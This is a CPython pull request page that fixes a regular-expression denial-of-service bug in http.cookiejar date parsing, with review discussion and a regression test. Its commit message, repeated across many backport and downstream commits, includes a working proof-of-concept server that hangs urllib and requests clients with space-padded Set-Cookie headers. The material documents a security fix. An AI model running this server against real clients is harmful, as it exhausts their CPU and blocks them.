bpo-38804: Fix REDoS in http.cookiejar 8000 #17157
Merged
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
|
Hello, and thanks for your contribution! I'm a bot set up to make sure that the project can legally accept this contribution by verifying everyone involved has signed the PSF contributor agreement (CLA). CLA MissingOur records indicate the following people have not signed the CLA: For legal reasons we need all the people listed to sign the CLA before we can look at your contribution. Please follow the steps outlined in the CPython devguide to rectify this issue. If you have recently signed the CLA, please wait at least one business day You can check yourself to see if the CLA has been received. Thanks again for the contribution, we look forward to reviewing it! |
|
Thanks for your time @bcaller, and welcome to CPython! I assume that you've seen the bot's message about the CLA? |
|
Yes @brandtbucher, I just signed it. |
brandtbucher
requested changes
Nov 15, 2019
There was a problem hiding this comment.
This PR should also have a NEWS entry. Something like:
Fixes a ReDoS vulnerability in :class:`http.cookiejar.CookieJar`.
brandtbucher
approved these changes
Nov 15, 2019
There was a problem hiding this comment.
Thanks @bcaller, this looks good to me now. I’m not an expert on this code though, so we’ll need to find somebody who is.
|
I was thinking about the test, but how do I make a test which is reliable, regardless of CPU power and other processes running on the machine? I could make a test which measures the time for successively longer strings and asserts the performance is sub-quadratic? |
|
I think it is enough to use an example that takes long time (a hour or few hours). It will not pass unnoticed. |
|
I wrote an overcomplicated test def test_http2time_redos_regression(self):
def run_timer(n_spaces):
return timeit.timeit(
stmt="http2time(expires)",
number=5,
globals=dict(
http2time=http2time,
expires="1-c-1{}!".format(' ' * n_spaces),
),
)
base_n_spaces = 500
factor = 2 # Length of backtracking sequence is increased by this factor
long_time = run_timer(base_n_spaces * factor)
short_time = run_timer(base_n_spaces)
self.assertLess(
long_time / short_time, # Execution time increased by this factor
factor ** 1.2, # Expected to be approximately equal, but we can have some leeway
"Performance of http2time is significantly worse than linear",
)but I think I'll just do what you said instead. |
27ce2fd to
60de955
Compare
vstinner
reviewed
Nov 15, 2019
Lib/test/test_http_cookiejar.py
Outdated
| def test_http2time_redos_regression_actually_completes(self): | ||
| # LOOSE_HTTP_DATE_RE was vulnerable to malicious input which caused catastrophic backtracking (REDoS). | ||
| # If we regress, this test will take a very long time to succeed. | ||
| http2time("1-c-1{}!".format(" " * 65506)) |
There was a problem hiding this comment.
Would it be possible to use time.perf_counter() to detect if the function takes way too long? For example, test with 1 space, than test with 65K spaces, and test that the second test is not like 1000x slower?
In general, I dislike tests which rely on time, since they are likely to fail on our slowest buildbot. But I don't suggest to use hardcoded timing, only to compare timings of two function calls. It may work on buildbot, especially if the threshold is large enough (1000x slower? more?).
cc @pablogsal
There was a problem hiding this comment.
With the fixed regex the test should take a fraction of second.
There was a problem hiding this comment.
@vstinner Do you mean something like the above #17157 (comment) ?
The issue here is whether we really should have a unit test for algorithmic complexity of a function at all and what it should look like. Do we do that anywhere else?
I agree that having the one-line test which never explicitly fails is a bit weird.
Lib/test/test_http_cookiejar.py
Outdated
| def test_http2time_redos_regression_actually_completes(self): | ||
| # LOOSE_HTTP_DATE_RE was vulnerable to malicious input which caused catastrophic backtracking (REDoS). | ||
| # If we regress, this test will take a very long time to succeed. | ||
| http2time("1-c-1{}!".format(" " * 65506)) |
There was a problem hiding this comment.
With the fixed regex the test should take a fraction of second.
60de955 to
2ea754f
Compare
If we regress, this test will take a very long time.
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
2ea754f to
e11dfbe
Compare
serhiy-storchaka
approved these changes
Nov 16, 2019
Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst
Outdated
Show resolved
Hide resolved
miss-islington
pushed a commit
to miss-islington/cpython
that referenced
this pull request
Nov 22, 2019
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) GH- Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 GH- Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): GH- Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bf)
Co-authored-by: bcaller <bcaller@users.noreply.github.com>
This was referenced Nov 22, 2019
I merged your PR, thanks. I'm ok to skip the automated test to measure the maximum time. I backported the fix to all supported Python branches: 2.7, 3.5, 3.6, 3.7 and 3.8. |
|
Congrats on your first CPython contribution @bcaller! 🍾 Looking forward to seeing more from you in the future. |
miss-islington
added a commit
that referenced
this pull request
Nov 22, 2019
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) GH- Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
F438
65506 GH- Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): GH- Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bf)
Co-authored-by: bcaller <bcaller@users.noreply.github.com>
miss-islington
added a commit
that referenced
this pull request
Nov 22, 2019
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) GH- Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 GH- Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): GH- Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bf)
Co-authored-by: bcaller <bcaller@users.noreply.github.com>
ned-deily
pushed a commit
that referenced
this pull request
Nov 22, 2019
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) GH- Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 GH- Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): GH- Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bf)
Co-authored-by: bcaller <bcaller@users.noreply.github.com>
vstinner
added a commit
that referenced
this pull request
Nov 24, 2019
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bf)
|
|
jacobneiltaylor
pushed a commit
to jacobneiltaylor/cpython
that referenced
this pull request
Dec 5, 2019
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
shihai1991
pushed a commit
to shihai1991/cpython
that referenced
this pull request
Jan 31, 2020
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
larryhastings
pushed a commit
that referenced
this pull request
Apr 3, 2020
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bf)
Co-authored-by: bcaller <bcaller@users.noreply.github.com>
wshanks
added a commit
to wshanks/python-future
that referenced
this pull request
Dec 23, 2022
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). The regex contained multiple overlapping \s* capture groups. A long sequence of spaces can trigger bad performance. See python/cpython#17157 and https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages/
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 9, 2024
Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 9, 2024
52510: future <=0.18.2 resolved (0.16.0 installed)! Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157 55261: flask <2.2.5 resolved (2.0.2 installed)! Flask 2.2.5 and 2.3.2 include a fix for CVE-2023-30861: When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by the proxy to other clients. If the proxy also caches 'Set-Cookie' headers, it may send one client's 'session' cookie to other clients. The severity depends on the application's use of the session and the proxy's behavior regarding cookies. The risk depends on all these conditions being met: 1. The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies. 2. The application sets 'session.permanent = True' 3. The application does not access or modify the session at any point during a request. 4. 'SESSION_REFRESH_EACH_REQUEST' enabled (the default). 5. The application does not set a 'Cache-Control' header to indicate that a page is private or should not be cached. This happens because vulnerable versions of Flask only set the 'Vary: Cookie' header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified. GHSA-m2qf-hxjv-5gpq
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 10, 2024
Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 10, 2024
52510: future <=0.18.2 resolved (0.16.0 installed)! Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157 55261: flask <2.2.5 resolved (2.0.2 installed)! Flask 2.2.5 and 2.3.2 include a fix for CVE-2023-30861: When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by the proxy to other clients. If the proxy also caches 'Set-Cookie' headers, it may send one client's 'session' cookie to other clients. The severity depends on the application's use of the session and the proxy's behavior regarding cookies. The risk depends on all these conditions being met: 1. The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies. 2. The application sets 'session.permanent = True' 3. The application does not access or modify the session at any point during a request. 4. 'SESSION_REFRESH_EACH_REQUEST' enabled (the default). 5. The application does not set a 'Cache-Control' header to indicate that a page is private or should not be cached. This happens because vulnerable versions of Flask only set the 'Vary: Cookie' header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified. GHSA-m2qf-hxjv-5gpq
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 10, 2024
Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 10, 2024
52510: future <=0.18.2 resolved (0.16.0 installed)! Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157 55261: flask <2.2.5 resolved (2.0.2 installed)! Flask 2.2.5 and 2.3.2 include a fix for CVE-2023-30861: When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by the proxy to other clients. If the proxy also caches 'Set-Cookie' headers, it may send one client's 'session' cookie to other clients. The severity depends on the application's use of the session and the proxy's behavior regarding cookies. The risk depends on all these conditions being met: 1. The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies. 2. The application sets 'session.permanent = True' 3. The application does not access or modify the session at any point during a request. 4. 'SESSION_REFRESH_EACH_REQUEST' enabled (the default). 5. The application does not set a 'Cache-Control' header to indicate that a page is private or should not be cached. This happens because vulnerable versions of Flask only set the 'Vary: Cookie' header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified. GHSA-m2qf-hxjv-5gpq
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 11, 2024
Future 0.18.2 and earlier allows remote attackers to cause a denial of service via crafted Set-Cookie header from malicious web server. https://github.com/PythonCharmers/python-future/blob/master/src/future/backports/http/cookiejar.py#L215 python/cpython#17157
VirginiaDooley
added a commit
to DemocracyClub/electionleaflets
that referenced
this pull request
Sep 11, 2024
